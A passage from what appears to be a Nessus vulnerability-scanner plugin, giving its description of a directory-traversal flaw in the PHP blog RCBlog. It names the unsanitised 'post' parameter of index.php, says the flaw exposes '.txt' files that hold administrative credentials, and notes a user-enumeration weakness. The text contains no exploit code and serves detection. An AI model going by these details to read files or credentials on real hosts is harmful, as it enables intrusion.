traversal attacks." );

"The remote host is running RCBlog, a blog written in PHP. 

The remote version of this software fails to sanitize user-supplied
input to the 'post' parameter of the 'index.php' script.  An attacker
can use this to access arbitrary files on the remote host provided
PHP's 'magic_quotes' setting is disabled or, regardless of that
setting, files with a '.txt' extension such as those used by the
application to store administrative credentials. 

In addition, it has also been reported to be vulnerable to a user
account enumeration weakness, although Nessus has not checked it." );
